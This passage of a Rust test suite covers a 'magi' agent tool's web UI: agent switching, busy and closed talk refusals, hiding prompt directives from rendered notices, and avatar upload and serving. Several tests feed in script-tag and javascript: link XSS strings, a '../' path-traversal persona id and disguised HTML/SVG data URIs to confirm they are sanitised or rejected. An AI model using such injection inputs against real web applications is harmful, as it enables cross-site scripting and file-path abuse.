15238        let unknown = call("nobody").await.expect_err("unknown agent");
15239        assert_eq!(
15240            unknown.status,
15241            StatusCode::BAD_REQUEST,
15242            "{}",
15243            unknown.message
15244        );
15245
15246        {
15247            // Nothing refused so far took a claim, so the guard is free to take
15248            // and holding it is what makes the talk busy.
15249            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15250            let busy = call("second").await.expect_err("busy talk");
15251            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15252            assert!(
15253                busy.message.contains("a talk turn is running"),
15254                "{}",
15255                busy.message
15256            );
15257            drop(guard);
15258        }
15259        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
15260
15261        let Json(view) = call("second").await.expect("switch");
15262        assert_eq!(view.talk.agent, "second");
15263        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
15264        let saved = talks.get(&id).expect("reload");
15265        assert_eq!(saved.agent, "second");
15266        assert_eq!(saved.turns.len(), 1);
15267        assert!(!view.thinking);
15268        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15269        for agent in ["mock", "second"] {
15270            let Json(view) = call(agent).await.expect("immediate consecutive change");
15271            assert_eq!(view.talk.agent, agent);
15272            assert!(!view.thinking);
15273            assert!(!ui.is_thinking(&id));
15274        }
15275
15276        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15277            .await
15278            .expect("detail");
15279        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
15280        assert_eq!(roster, ["mock", "second"]);
15281
15282        let mut closed = talks.get(&id).expect("reload");
15283        talk::close(&mut closed, &talks).expect("close");
15284        let refused = call("mock").await.expect_err("closed talk");
15285        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15286        assert!(
15287            refused.message.contains("takes no more turns"),
15288            "{}",
15289            refused.message
15290        );
15291    }
15292
15293    #[tokio::test]
15294    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
15295        let tmp = TempDir::new().expect("tempdir");
15296        let repo = tmp.path().join("repo");
15297        std::fs::create_dir_all(&repo).expect("repo dir");
15298        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15299        let home = TempDir::new().expect("temp home");
15300        let talks = Talks::at(home.path().join("talks"));
15301        let ui = Arc::new(
15302            Ui::new(
15303                Queue::at(home.path().join("queue")),
15304                Questions::at(home.path().join("questions")),
15305                talks.clone(),
15306                home.path().join("runs"),
15307                home.path().to_path_buf(),
15308                repo.clone(),
15309            )
15310            .with_worktrees_root(home.path().join("wt")),
15311        );
15312        let cfg = config_for(&repo).await.expect("discover config");
15313        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15314        let id = talk.id.clone();
15315        let call = |n: u8| {
15316            talk_implementers(
15317                State(Arc::clone(&ui)),
15318                Path(id.clone()),
15319                Json(TalkImplementers { implementers: n }),
15320            )
15321        };
15322
15323        for bad in [0u8, 4] {
15324            let e = call(bad).await.expect_err("out of range");
15325            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
15326        }
15327        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
15328
15329        {
15330            // Nothing refused so far took a claim, so the guard is free to take
15331            // and holding it is what makes the talk busy.
15332            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15333            let busy = call(2).await.expect_err("busy talk");
15334            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15335            assert!(
15336                busy.message.contains("a talk turn is running"),
15337                "{}",
15338                busy.message
15339            );
15340            drop(guard);
15341        }
15342
15343        let Json(view) = call(3).await.expect("switch");
15344        assert_eq!(view.talk.implementers, 3);
15345        assert!(talks.get(&id).expect("reload").implementers_dirty);
15346        assert!(!view.thinking);
15347        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15348        for n in [1, 2, 3] {
15349            let Json(view) = call(n).await.expect("immediate consecutive change");
15350            assert_eq!(view.talk.implementers, n);
15351            assert!(!view.thinking);
15352            assert!(!ui.is_thinking(&id));
15353        }
15354
15355        let mut closed = talks.get(&id).expect("reload");
15356        talk::close(&mut closed, &talks).expect("close");
15357        let e = call(2).await.expect_err("closed talk");
15358        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
15359        assert!(e.message.contains("takes no more turns"), "{}", e.message);
15360    }
15361
15362    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
15363    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
15364        let tmp = TempDir::new().expect("tempdir");
15365        let repo = tmp.path().join("repo");
15366        std::fs::create_dir_all(&repo).expect("repo dir");
15367        std::fs::write(
15368            repo.join("magi.toml"),
15369            format!("{MOCK_AGENT_TOML}\n{extra}"),
15370        )
15371        .expect("write magi.toml");
15372        let home = TempDir::new().expect("temp home");
15373        let talks = Talks::at(home.path().join("talks"));
15374        let ui = Arc::new(
15375            Ui::new(
15376                Queue::at(home.path().join("queue")),
15377                Questions::at(home.path().join("questions")),
15378                talks.clone(),
15379                home.path().join("runs"),
15380                home.path().to_path_buf(),
15381                repo.clone(),
15382            )
15383            .with_worktrees_root(home.path().join("wt")),
15384        );
15385        let cfg = config_for(&repo).await.expect("discover config");
15386        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15387        (tmp, home, ui, talk.id, repo)
15388    }
15389
15390    #[tokio::test]
15391    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
15392        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15393        let mut conversation = ui.talks.get(&id).unwrap();
15394        talk::record(
15395            &mut conversation,
15396            &ui.talks,
15397            "# Update on a task you filed\noperator words",
15398            vec![],
15399        )
15400        .unwrap();
15401        // Simulate an old operator record; headings do not prove authorship.
15402        conversation.turns[0].sender = None;
15403        conversation.turns[0].messages.clear();
15404        ui.talks.put(&mut conversation).unwrap();
15405        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
15406        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
15407        talk::drain(&mut conversation, &ui.talks).unwrap();
15408        talk::record_reply(
15409            &mut conversation,
15410            &ui.talks,
15411            "about that report",
15412            vec![],
15413            Some(talk::ReplyTarget {
15414                turn: 1,
15415                message: 1,
15416            }),
15417        )
15418        .unwrap();
15419        conversation.turns[2].messages[0]
15420            .reply
15421            .as_mut()
15422            .unwrap()
15423            .sender = None;
15424        conversation.turns.push(talk::Turn {
15425            sender: Some(talk::Sender::Persona),
15426            who: talk::Who::Agent,
15427            body: "magi: actual persona words".into(),
15428            at: Timestamp::now(),
15429            attachments: vec![],
15430            usage: None,
15431            breaks: None,
15432            messages: vec![],
15433            posted_by: None,
15434        });
15435        ui.talks.put(&mut conversation).unwrap();
15436        let view = TalkView::with_config(
15437            ui.talks.get(&id).unwrap(),
15438            false,
15439            None,
15440            &ui.home,
15441            &ui.references,
15442        );
15443        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
15444        assert_eq!(
15445            view.talk.turns[1].messages[0].sender,
15446            Some(talk::Sender::Operator)
15447        );
15448        assert_eq!(
15449            view.talk.turns[1].messages[1].sender,
15450            Some(talk::Sender::Magi)
15451        );
15452        assert_eq!(
15453            view.talk.turns[2].messages[0]
15454                .reply
15455                .as_ref()
15456                .unwrap()
15457                .sender,
15458            Some(talk::Sender::Magi)
15459        );
15460        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
15461        assert_eq!(view.turn_messages_md[0].len(), 1);
15462        assert!(view.turn_messages_md[0][0].is_none());
15463        assert!(view.turn_messages_md[1][0].is_none());
15464        assert!(view.turn_messages_md[1][1].is_some());
15465    }
15466
15467    #[tokio::test]
15468    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
15469        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15470        let mut conversation = ui.talks.get(&id).unwrap();
15471        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
15472        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15473        talk::queue_notice(
15474            &mut conversation,
15475            &ui.talks,
15476            &body,
15477            "watch:123",
15478            &|_| false,
15479            crate::chat_control::standing::Event::Watch {
15480                id: "watch-123".into(),
15481            },
15482            display.clone(),
15483        )
15484        .unwrap();
15485        assert!(
15486            !talk::queue_notice(
15487                &mut conversation,
15488                &ui.talks,
15489                &body,
15490                "watch:123",
15491                &|_| false,
15492                crate::chat_control::standing::Event::Watch {
15493                    id: "watch-123".into()
15494                },
15495                display.clone()
15496            )
15497            .unwrap()
15498        );
15499        let saved = ui.talks.get(&id).unwrap();
15500        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15501        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15502        assert!(
15503            view.talk.turns[0].messages[0].display.is_none(),
15504            "operator copy stays literal"
15505        );
15506        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15507        assert!(view.turn_messages_md[0][0].is_none());
15508        let queued_md = view.pending_messages_md[0].clone();
15509        assert_eq!(
15510            queued_md,
15511            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15512        );
15513        talk::drain(&mut conversation, &ui.talks).unwrap();
15514        talk::record_reply(
15515            &mut conversation,
15516            &ui.talks,
15517            "Explain",
15518            vec![],
15519            Some(talk::ReplyTarget {
15520                turn: 1,
15521                message: 0,
15522            }),
15523        )
15524        .unwrap();
15525        let mut saved = ui.talks.get(&id).unwrap();
15526        assert_eq!(saved.turns[1].messages[0].body, body);
15527        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15528        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15529        assert!(!reply.excerpt.contains("automatic report"));
15530        reply.excerpt = body.chars().take(240).collect(); // old saved quote
15531        saved.turns[1].messages[0].display = None; // old MAGI send
15532        ui.talks.put(&mut saved).unwrap();
15533        let view = TalkView::with_config(
15534            ui.talks.get(&id).unwrap(),
15535            false,
15536            None,
15537            &ui.home,
15538            &ui.references,
15539        );
15540        assert_eq!(view.turn_messages_md[1][0], queued_md);
15541        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15542        assert!(
15543            !view.talk.turns[2].messages[0]
15544                .reply
15545                .as_ref()
15546                .unwrap()
15547                .excerpt
15548                .contains("automatic report")
15549        );
15550        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15551    }
15552
15553    #[tokio::test]
15554    async fn consultation_display_hides_directives_in_queue_and_history() {
15555        for node in [
15556            "implement",
15557            crate::land::APPROVAL_NODE,
15558            crate::github_text::ASK_NODE,
15559        ] {
15560            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15561            let mut question = Question::new(
15562                "run-123".into(),
15563                node.into(),
15564                "seat-1".into(),
15565                "Which backend?".into(),
15566                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15567                vec!["SQLite".into(), "Redis".into()],
15568            );
15569            ui.questions.put(&mut question).unwrap();
15570            let body = crate::prompt::chat_consult(&question);
15571            let mut conversation = ui.talks.get(&id).unwrap();
15572            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15573            assert!(
15574                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15575            );
15576            conversation = ui.talks.get(&id).unwrap();
15577            assert_eq!(conversation.pending_messages[0].body, body);
15578            assert!(body.contains("magi answer"));
15579            let mut legacy_pending = conversation.clone();
15580            legacy_pending.pending_messages[0].display = None;
15581            let legacy_view =
15582                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15583            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15584            assert!(legacy_md.contains("Question consultation"));
15585            assert!(!legacy_md.contains("magi answer"));
15586            let view =
15587                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15588            assert!(
15589                view.turn_messages_md[0][0].is_none(),
15590                "operator copy stays literal"
15591            );
15592            let queued_md = view.pending_messages_md[0].clone().unwrap();
15593            let rendered = serde_json::to_string(&queued_md).unwrap();
15594            for visible in [
15595                "Which backend?",
15596                "Context",
15597                "storage",
15598                "SQLite",
15599                "Redis",
15600                "<script>literal</script>",
15601            ] {
15602                assert!(rendered.contains(visible), "missing {visible}");
15603            }
15604            for directive in [
15605                "What to do",
15606                "magi answer",
15607                "Never answer it yourself",
15608                "Do not edit the repository",
15609            ] {
15610                assert!(!rendered.contains(directive), "exposed {directive}");
15611            }
15612            assert_eq!(
15613                view.talk.pending_messages[0].display,
15614                Some(crate::prompt::chat_consult_display(&question))
15615            );
15616            talk::drain(&mut conversation, &ui.talks).unwrap();
15617            let view =
15618                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15619            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15620            assert_eq!(conversation.turns[1].messages[0].body, body);
15621
15622            // Historical consultations lack a snapshot: show a safe placeholder
15623            // rather than parsing instructions or reconstructing mutable facts.
15624            conversation.turns[1].messages[0].display = None;
15625            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15626            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15627            assert!(legacy.contains("Question consultation"));
15628            assert!(!legacy.contains("magi answer"));
15629            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15630        }
15631    }
15632
15633    #[test]
15634    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15635        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15636        let (body, mut display) =
15637            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15638        display.facts = facts.into();
15639        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15640        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15641        let json = serde_json::to_string(&nodes).unwrap();
15642        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15643            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15644        }
15645        assert!(json.contains("<script>alert(1)</script>"));
15646        assert!(!json.contains("javascript:"));
15647        assert!(!json.contains("Tell the operator"));
15648        assert!(!json.contains("untrusted"));
15649        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15650        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15651        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15652        assert_eq!(
15653            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15654            md::to_nodes("# Status", &md::ImageBase::None),
15655        );
15656    }
15657
15658    #[tokio::test]
15659    async fn notification_display_recovers_exact_legacy_completion_references() {
15660        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15661        let mut conversation = ui.talks.get(&id).unwrap();
15662        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15663            id: "task-123",
15664            title: "Change",
15665            status: "done",
15666            reason: None,
15667            run: Some("run-123"),
15668            pr: None,
15669            summary: Some("Merge state unknown"),
15670            verification: None,
15671            completion: None,
15672        });
15673        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15674        conversation.turns[0].sender = None;
15675        conversation.turns[0].messages.clear();
15676        conversation.turns[0].breaks = None;
15677        conversation.pending = body.clone();
15678        conversation
15679            .completion_notices
15680            .push(crate::chat_notify::CompletionReference {
15681                task: "task-123".into(),
15682                run: Some("run-123".into()),
15683                notice: body.clone(),
15684            });
15685        ui.talks.put(&mut conversation).unwrap();
15686        let view = TalkView::with_config(
15687            ui.talks.get(&id).unwrap(),
15688            false,
15689            None,
15690            &ui.home,
15691            &ui.references,
15692        );
15693        assert_eq!(
15694            view.talk.turns[0].messages[0].display,
15695            Some(display.clone())
15696        );
15697        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15698        assert_eq!(
15699            view.talk.turns[0].messages[0].sender,
15700            Some(talk::Sender::Magi)
15701        );
15702        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15703        conversation.completion_notices[0]
15704            .notice
15705            .push_str("different");
15706        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15707        assert!(view.talk.turns[0].messages.is_empty());
15708        assert!(view.talk.pending_messages.is_empty());
15709    }
15710
15711    #[tokio::test]
15712    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15713        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15714        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15715            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15716        ))
15717        .await;
15718        let path = avatar_setting_path(home.path(), Some("rei"));
15719        let orphan = avatar_setting_path(home.path(), Some("removed"));
15720        save_icon_file(&orphan, icon).unwrap();
15721        for (saved, expected) in [
15722            (icon, "custom"),
15723            ("builtin", "builtin"),
15724            ("data:image/png;base64,!!!!", "inherit"),
15725            ("data:image/png;base64,PGh0bWw+", "inherit"),
15726            ("/tmp/avatar.png", "inherit"),
15727        ] {
15728            atomic_icon_write(&path, saved).unwrap();
15729            let catalog =
15730                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15731                    .await
15732                    .unwrap()
15733                    .0;
15734            let personas = catalog["personas"].as_array().unwrap();
15735            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15736            assert_eq!(rei["override_state"], expected);
15737            assert_eq!(rei["has_config_icon"], true);
15738            assert_eq!(rei["is_orphan"], false);
15739            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15740            assert_eq!(removed["override_state"], "custom");
15741            assert_eq!(removed["is_orphan"], true);
15742            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15743            assert_eq!(default["override_state"], "inherit");
15744            assert_eq!(default["has_config_icon"], false);
15745            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15746            assert_eq!(
15747                effective.as_deref(),
15748                Some(if expected == "builtin" { "" } else { icon })
15749            );
15750        }
15751    }
15752
15753    #[tokio::test]
15754    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15755        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15756        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15757            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15758        ))
15759        .await;
15760        let target = |id: Option<&str>| AvatarSettingsQuery {
15761            persona: id.map(str::to_owned),
15762            ..Default::default()
15763        };
15764        let original_config = config_for(&repo).await.unwrap();
15765        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15766        let original_prompt = persona::section_for(&original_persona, None);
15767        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15768            .await
15769            .unwrap()
15770            .0;
15771        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15772            let _ = avatar_settings_put(
15773                State(ui.clone()),
15774                Query(target(persona)),
15775                Json(MagiIconUpload { icon: icon.into() }),
15776            )
15777            .await
15778            .unwrap();
15779            let path = avatar_setting_path(home.path(), persona);
15780            assert!(path.starts_with(home.path().join("avatars")));
15781            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15782            for bad in [
15783                "/tmp/image.png".to_owned(),
15784                "data:image/png;base64,!!!!".to_owned(),
15785                "data:image/png;base64,PGh0bWw+".to_owned(),
15786                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15787                format!(
15788                    "data:image/png;base64,{}",
15789                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15790                ),
15791            ] {
15792                assert!(
15793                    avatar_settings_put(
15794                        State(ui.clone()),
15795                        Query(target(persona)),
15796                        Json(MagiIconUpload { icon: bad })
15797                    )
15798                    .await
15799                    .is_err()
15800                );
15801                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15802            }
15803        }
15804        assert!(read_magi_icon(home.path()).is_none());
15805        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15806        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15807            .await
15808            .unwrap()
15809            .0;
15810        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15811        assert_ne!(
15812            before
15813                .personas
15814                .iter()
15815                .find(|p| p.id == "magi")
15816                .unwrap()
15817                .avatar,
15818            after
15819                .personas
15820                .iter()
15821                .find(|p| p.id == "magi")
15822                .unwrap()
15823                .avatar
15824        );
15825        let restarted = Arc::new(Ui::new(
15826            Queue::at(home.path().join("queue")),
15827            Questions::at(home.path().join("questions")),
15828            Talks::at(home.path().join("talks")),
15829            home.path().join("runs"),
15830            home.path().to_owned(),
15831            repo,
15832        ));
15833        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15834            .await
15835            .unwrap()
15836            .0;
15837        assert!(
15838            catalog["personas"]
15839                .as_array()
15840                .unwrap()
15841                .iter()
15842                .any(|p| p["id"] == "../custom/日本語")
15843        );
15844        for expected in ["custom", "default", "rei"] {
15845            assert!(
15846                catalog["personas"]
15847                    .as_array()
15848                    .unwrap()
15849                    .iter()
15850                    .any(|p| p["id"] == expected)
15851            );
15852        }
15853        let response =
15854            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15855        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15856        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15857            .await
15858            .unwrap();
15859        assert_eq!(
15860            effective_persona_icon(home.path(), "rei", Some(icon)),
15861            Some(String::new())
15862        );
15863        let response = talk_avatar(
15864            State(restarted.clone()),
15865            Path(id.clone()),
15866            Query(AvatarQuery {
15867                persona: Some("rei".into()),
15868                ..Default::default()
15869            }),
15870        )
15871        .await
15872        .unwrap();
15873        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15874        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15875            .await
15876            .unwrap()
15877            .0;
15878        assert_ne!(
15879            after
15880                .personas
15881                .iter()
15882                .find(|p| p.id == "rei")
15883                .unwrap()
15884                .avatar,
15885            reset
15886                .personas
15887                .iter()
15888                .find(|p| p.id == "rei")
15889                .unwrap()
15890                .avatar
15891        );
15892        let mut inherit = target(Some("rei"));
15893        inherit.inherit = Some("1".into());
15894        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15895            .await
15896            .unwrap();
15897        assert_eq!(
15898            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15899            Some(icon)
15900        );
15901        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15902            .await
15903            .unwrap();
15904        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15905        assert_eq!(
15906            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15907            Some(icon)
15908        );
15909        // Display changes never rewrite the conversation or its prompt-bearing config.
15910        let cfg = config_for(&ui.repo).await.unwrap();
15911        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15912        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15913        assert!(!original_prompt.contains("data:image"));
15914        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15915        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15916        assert!(!stored.contains("data:image"));
15917        let mut orphan = ui.talks.get(&id).unwrap();
15918        orphan.persona = "../custom/日本語".into();
15919        let view = TalkView::with_config(
15920            orphan,
15921            false,
15922            Some(&cfg),
15923            home.path(),
15924            &id_links::IndexCache::default(),
15925        );
15926        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15927    }
15928
15929    #[tokio::test]
15930    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15931        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15932        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15933        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15934        let _ = magi_icon_put(
15935            State(ui.clone()),
15936            Json(MagiIconUpload { icon: icon.into() }),
15937        )
15938        .await
15939        .unwrap();
15940        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15941        assert_ne!(original, changed);
15942        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15943        let response = magi_avatar(
15944            State(ui.clone()),
15945            Query(AvatarQuery {
15946                persona: None,
15947                builtin: None,
15948            }),
15949        )
15950        .await;
15951        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15952        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15953        assert_eq!(
15954            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15955            "nosniff"
15956        );
15957        for bad in [
15958            "data:image/png;base64,PGh0bWw+".to_owned(),
15959            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15960            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15961        ] {
15962            assert!(save_magi_icon(home.path(), &bad).is_err());
15963            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15964        }
15965        // Re-opened server state reads the same independent home file.
15966        let restarted = Arc::new(Ui::new(
15967            Queue::at(home.path().join("queue")),
15968            Questions::at(home.path().join("questions")),
15969            Talks::at(home.path().join("talks")),
15970            home.path().join("runs"),
15971            home.path().to_path_buf(),
15972            repo,
15973        ));
15974        assert_eq!(
15975            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15976            changed
15977        );
15978        let view = TalkView::with_config(
15979            restarted.talks.get(&id).unwrap(),
15980            false,
15981            None,
15982            &restarted.home,
15983            &restarted.references,
15984        );
15985        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15986        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15987        let response = magi_avatar(
15988            State(ui.clone()),
15989            Query(AvatarQuery {
15990                persona: None,
15991                builtin: None,
15992            }),
15993        )
15994        .await;
15995        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15996            .await
15997            .unwrap();
15998        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15999        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
16000        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
16001        let _ = magi_icon_delete(State(ui)).await.unwrap();
16002    }
16003
16004    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
16005    async fn avatar(
16006        ui: &Arc<Ui>,
16007        id: &str,
16008        persona: Option<&str>,
16009        builtin: bool,
16010    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
16011        let res = talk_avatar(
16012            State(Arc::clone(ui)),
16013            Path(id.to_owned()),
16014            Query(AvatarQuery {
16015                persona: persona.map(str::to_owned),
16016                builtin: builtin.then(|| "1".to_owned()),
16017            }),
16018        )
16019        .await
16020        .expect("an avatar is never an error response");
16021        let h = res.headers();
16022        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
16023        let nosniff = h
16024            .get(header::X_CONTENT_TYPE_OPTIONS)
16025            .is_some_and(|v| v == "nosniff");
16026        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
16027        let status = res.status();
16028        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
16029            .await
16030            .expect("body")
16031            .to_vec();
16032        (status, ct, nosniff, csp, body)
16033    }
16034
16035    fn tiny_png() -> Vec<u8> {
16036        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
16037        b.extend_from_slice(&[0u8; 32]);
16038        b
16039    }
16040
16041    #[tokio::test]
16042    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
16043        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
16044        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
16045        assert_eq!(res.status(), StatusCode::OK);
16046        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
16047        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
16048        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
16049        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
16050        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
16051            .await
16052            .unwrap();
16053        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
16054        assert_ne!(
16055            persona_icon::operator_svg(),
16056            persona_icon::builtin_svg("default")
16057        );
16058    }
16059
16060    #[tokio::test]
16061    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
16062        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
16063        for p in [
16064            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
16065        ] {
16066            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
16067            assert_eq!(status, StatusCode::OK, "{p}");
16068            assert_eq!(ct, "image/svg+xml", "{p}");
16069            assert!(nosniff && csp, "{p}");
16070            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
16071        }
16072        // No `persona` means the conversation's own; unknown ones fall back.
16073        let own = avatar(&ui, &id, None, false).await;
16074        let default = avatar(&ui, &id, Some("default"), false).await;
16075        assert_eq!(own.4, default.4);
16076        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
16077        assert_eq!(unknown.1, "image/svg+xml");
16078    }
16079
16080    #[tokio::test]
16081    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
16082        let dir = TempDir::new().expect("icons");
16083        let good = dir.path().join("good.png");
16084        std::fs::write(&good, tiny_png()).unwrap();
